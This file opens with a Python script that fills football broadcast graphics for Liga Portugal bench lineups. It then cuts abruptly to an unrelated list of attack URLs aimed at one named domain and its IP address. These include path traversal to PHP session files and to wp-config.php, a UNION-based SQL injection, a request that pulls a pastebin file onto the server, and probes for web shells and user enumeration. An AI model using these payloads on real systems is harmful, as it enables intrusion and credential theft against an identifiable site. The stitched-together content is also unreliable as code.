import footballstatshelper
import helper
HOME_TEAM = Game.HomeTeam
AWAY_TEAM = Game.AwayTeam
class PlayerInfo:
def __init__(
self,
index,
isHomeTeam,
number=0,
name="",
function="",
card=False,
):
_homeOrAway = "Home" if isHomeTeam else "Away"
_index = index + 1
self._number = (
"t{}PlayerNumber{:02d}".format(_homeOrAway, _index),
str(number),
)
self._name = ("t{}PlayerName{:02d}".format(_homeOrAway, _index), name)
self._function = (
"t{}PlayerFunction{:02d}".format(_homeOrAway, _index),
function,
)
self._card = (
"v{}PlayerAtRiskVisibility{:02d}".format(_homeOrAway, _index),
card,
)
def getNumber(self):
return self._number
def getName(self):
return self._name
def getFunction(self):
return self._function
def getCard(self):
return self._card
def isValidGame(team, teamName):
if not team.Coach:
return -1, "{} has no coach".format(teamName)
captain = filter(lambda player: player.IsCaptain, team.Players)[0]
if captain.State.ToString() == "InBench":
return -1, "{} Captain in Bench! Please remove it!".format(teamName)
diffBenchAmount = (
len(team.InBench) != 9
and UserInteraction.ShowMessageBoxYesNo(
"{} Bench".format(teamName),
"{} bench players are different than 9.\n\nContinue anyway?".format(
teamName
),
).ToString()
!= "Yes"
)
if diffBenchAmount:
return -1, "Canceled"
return 0, ""
def __onStart(graphicOnAirItem, momentExecution, workFlowtype):
if workFlowtype == IntelliflowController.EWorkflowType.PreviewToProgram:
return
if (
workFlowtype != IntelliflowController.EWorkflowType.Preview
and GameOnline.IsOnAir
):
momentExecution.Message = "Online Is On Air"
momentExecution.Cancel = True
return
status, message = isValidGame(HOME_TEAM, "Home Team")
if status == -1:
momentExecution.Message = message
momentExecution.Cancel = True
return
status, message = isValidGame(AWAY_TEAM, "Away Team")
if status == -1:
momentExecution.Message = message
momentExecution.Cancel = True
return
def fillInBench(view, playersInBench, isHomeTeam):
"""
Fills graphic tags correspondent to InBench.
Args:
view (TagsViewBag): Reference for Graphic Template Tags
playersInBench (list[FootballGamePlayers], optional): List
"""
def _getPlayerFunctions(player):
playerFunction = ""
if player.IsGoalKeeper:
playerFunction += "{{(GK)}} "
if player.IsCaptain:
playerFunction += "{{(C)}} "
return playerFunction
view.SetFloat("v{}Lines".format("Home" if isHomeTeam else "Away"), len(playersInBench))
inBench = []
for i, player in enumerate(playersInBench):
inBench.append(
PlayerInfo(
i,
isHomeTeam,
player.Number,
player.ShortName.upper(),
_getPlayerFunctions(player).upper(),
player.AtRisk
)
)
for player in inBench:
(numberKey, numberValue) = player.getNumber()
(nameKey, nameValue) = player.getName()
(functionKey, functionValue) = player.getFunction()
(cardKey, cardValue) = player.getCard()
view.SetString(numberKey, numberValue)
view.SetString(nameKey, nameValue)
view.SetTranslatedText(functionKey, functionValue)
view.SetVisibility(cardKey, cardValue)
def fillTeamInfo(view, team, isHomeTeam):
"""
Fills graphic tags correspondent to InBench.
Args:
view (TagsViewBag): Reference for Graphic Template Tags
team (FootballGameTeam): Football Team. Defaults to CURRENT_TEAM.
"""
homeOrAway = "Home" if isHomeTeam else "Away"
view.SetImage(
"lg{}TeamBadge".format(homeOrAway),
"Images\LigaPortugal\Badges\{}.png".format(team.RefName),
)
view.SetImage(
"lg{}TeamBadgeOutline".format(homeOrAway),
"Images\LigaPortugal\Badges_Outline\{}.png".format(team.RefName),
)
view.SetString("t{}TeamName".format(homeOrAway), team.ShortName.upper())
view.SetString(
"v{}TeamColor.RGB".format(homeOrAway), helper._get_base_color(team.RefName)
)
def fillCoachInfo(view, coach, isHomeTeam):
"""
Fills graphic tags correspondent to InBench.
Args:
view (TagsViewBag): Reference for Graphic Template Tags
coach (FootballGameCoach): Football Team's Coach. Defaults to CURRENT_TEAM.
"""
homeOrAway = "Home" if isHomeTeam else "Away"
view.SetString("t{}CoachName".format(homeOrAway), coach.ShortName.upper())
view.SetTranslatedText(
"t{}CoachFunction".format(homeOrAway),
"{{%s}}" % coach.Function.ToString().upper(),
)
def fillCompetitionInfo(view):
view.SetImage(
"lgCompetitionBadge_In",
"Images/LigaPortugal/CompetitionBadge/In/LogoBetclic_In_5_11.png",
)
view.SetImage(
"lgCompetitionBadge_Out",
"Images/LigaPortugal/CompetitionBadge/Out/LogoBetclic_Out_5_9.png",
)
def __getData(graphicOnAirItem, viewBag, momentExecution):
viewBag.Clear()
# Fill HomeTeam
fillInBench(viewBag, HOME_TEAM.InBenchByKeeperAndShirt, True)
fillTeamInfo(viewBag, HOME_TEAM, True)
fillCoachInfo(viewBag, HOME_TEAM.Coach, True)
# Fill AwayTeam
fillInBench(viewBag, AWAY_TEAM.InBenchByKeeperAndShirt, False)
fillTeamInfo(viewBag, AWAY_TEAM, False)
fillCoachInfo(viewBag, AWAY_TEAM.Coach, False)
# Fill Competition Info
fillCompetitionInfo(viewBag)
http://cpanel.labaspreces.eu http://212.7.207.89
http://cpanel.labaspreces.eu/resetpass http://cpanel.212.7.207.89/resetpass
http://cpanel.labaspreces.eu/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{} http://cpanel.212.7.207.89/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
http://cpcalendars.labaspreces.eu http://212.7.207.89
http://cpcontacts.labaspreces.eu http://212.7.207.89
http://dev-1.labaspreces.eu http://212.7.207.89
http://mail.labaspreces.eu http://212.7.207.89
http://webdisk.labaspreces.eu http://212.7.207.89
http://webmail.labaspreces.eu http://212.7.207.89
http://webmail.labaspreces.eu/robots.txt http://212.7.207.89
http://www.labaspreces.eu http://212.7.207.89
http://www.dev-1.labaspreces.eu http://212.7.207.89
wordpress
https://labaspreces.eu/wp-admin/admin.php?action=&page=
https://labaspreces.eu/wp-admin/upgrade.php?step=1
https://labaspreces.eu/wp-admin/post.php?post=&page=&post-edit-id=
https://labaspreces.eu/wp-includes/functions.php
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/frontend/tokenization-form.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/frontend/cart.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/frontend/add-payment-method.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/flexslider/jquery.flexslider.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/jquery-tiptip/jquery.tipTip.js
https://labaspreces.eu/wp-admin/admin.php?&page=action=
https://labaspreces.eu/wp-admin/admin.php?&page=revslider
https://labaspreces.eu/wp-admin/admin.php?page=wc-admin
https://labaspreces.eu/wp-admin/admin.php?page=list-records
https://labaspreces.eu/wp-admin/admin.php?page=add-edit-record&page-edit-id=999
https://labaspreces.eu/wp-admin/admin.php?action=akismet_recheck_queue
https://labaspreces.eu/wp-content/languages/index.php
https://labaspreces.eu/wp-includes/SimplePie/index.php
https://labaspreces.eu/.well-known/pki-validation/moon.php
https://labaspreces.eu/wp-content/plugins/revslider/includes/external/page/index.php
https://labaspreces.eu/wp-admin/js/about.php
https://labaspreces.eu/wp-includes/widgets/include.php#admin
https://labaspreces.eu/about/function.php
https://labaspreces.eu/wp-mail.php
https://labaspreces.eu//install.php
https://labaspreces.eu/wp-content/plugins/core-plugin/include.php#admin
https://labaspreces.eu/wp-admin/classwithtostring.php
https://labaspreces.eu/wp-admin/wp-admin/profile.php?page=wp-private-messages/wpu_private_messages.php&wpu=reply&msgid=
https://labaspreces.eu/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
https://labaspreces.eu/wp-admin/admin-ajax.php
https://labaspreces.eu/wp-admin/admin-ajax.php?action=duplicator_download&file=dupl.txt
https://labaspreces.eu/wp-content/force-download.php?file=../../../../../../../wp-config.php
https://labaspreces.eu/wp-admin/admin-post.php?testingfsoc=1&url=https://pastebin.com/raw/i1gLLhHJ&filename=wpdemos
https://labaspreces.eu/wp-content/plugins/wordpress-database-reset/assets/css/bsmselect.css
https://labaspreces.eu/wp-content/plugins/wp-phpmyadmin/wp-phpmyadmin/phpmyadmin/
https://labaspreces.eu/wp-content/uploads/file-manager/log.txt
https://labaspreces.eu/wp-content/themes/wp-update.php
https://labaspreces.eu/wp-admin/admin-post.php?page=opinionstage-content-login-callback-page&email=
https://labaspreces.eu/wp-admin/admin-ajax.php?action=rss&type=video&vid=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,md5(2349819),24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39%23
https://labaspreces.eu/wp-admin/admin.php?page=add-edit-record
https://labaspreces.eu/wp-admin/admin-post.php?page=wysija
https://labaspreces.eu/wp-admin/post.php?post=new&page=add
https://labaspreces.eu/wp-admin/upgrade.php?step=1&upgrade=2
https://labaspreces.eu/wp-admin/update.php?step=2
https://labaspreces.eu/wp-admin/install.php?step=1
https://labaspreces.eu/wp-admin/admin-post.php?page=wysija
https://labaspreces.eu/wp-content/plugins/wp-vertical-gallery/
https://labaspreces.eu/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
https://labaspreces.eu/wp-content/themes/newsworld/scripts/timthumb.php
https://labaspreces.eu/wp-admin/admin.php?page=vertical_manage
https://labaspreces.eu/wp-content/plugins/woocommerce-product-addon
https://labaspreces.eu/wp-content/plugins/woocommerce-products-filter
https://labaspreces.eu/index.php/wp-json/wp/v2/posts/#{postid}
https://labaspreces.eu/wp-content/plugins/litespeed-cache/readme.txt
https://labaspreces.eu/wp-content/plugins/litespeed-cache/qc-ping.txt
https://labaspreces.eu/wp-content/plugins/woocommerce/readme.txt
https://labaspreces.eu/wp-content/plugins/woocommerce/license.txt
https://labaspreces.eu/wp-content/plugins/facebook-for-woocommerce/changelog.txt
https://labaspreces.eu/wp-content/plugins/facebook-for-woocommerce/readme.txt
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/css/auth.css
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/css/admin.css
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/css/dashboard.css
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.js
https://labaspreces.eu/wp-content/plugins/woocommerce/assets/js/jquery-tiptip/jquery.tipTip.js
https://labaspreces.eu/wp-includes/version.php
https://labaspreces.eu/wp-includes/block-i18n.json
https://labaspreces.eu/wp-json/
https://labaspreces.eu/wp-json/oembed/
https://labaspreces.eu/wp-json/wp/v2/
https://labaspreces.eu/wp-json/wp/v2/users
https://labaspreces.eu/wp-json/jetpack/v4/connection?_locale=user
https://labaspreces.eu/wp-json/jetpack/v4/connection/data?_locale=user
cgi
http://labaspreces.eu/cgi-sys/suspendedpage.cgi
http://labaspreces.euc/cgi-sys/defaultwebpage.cgi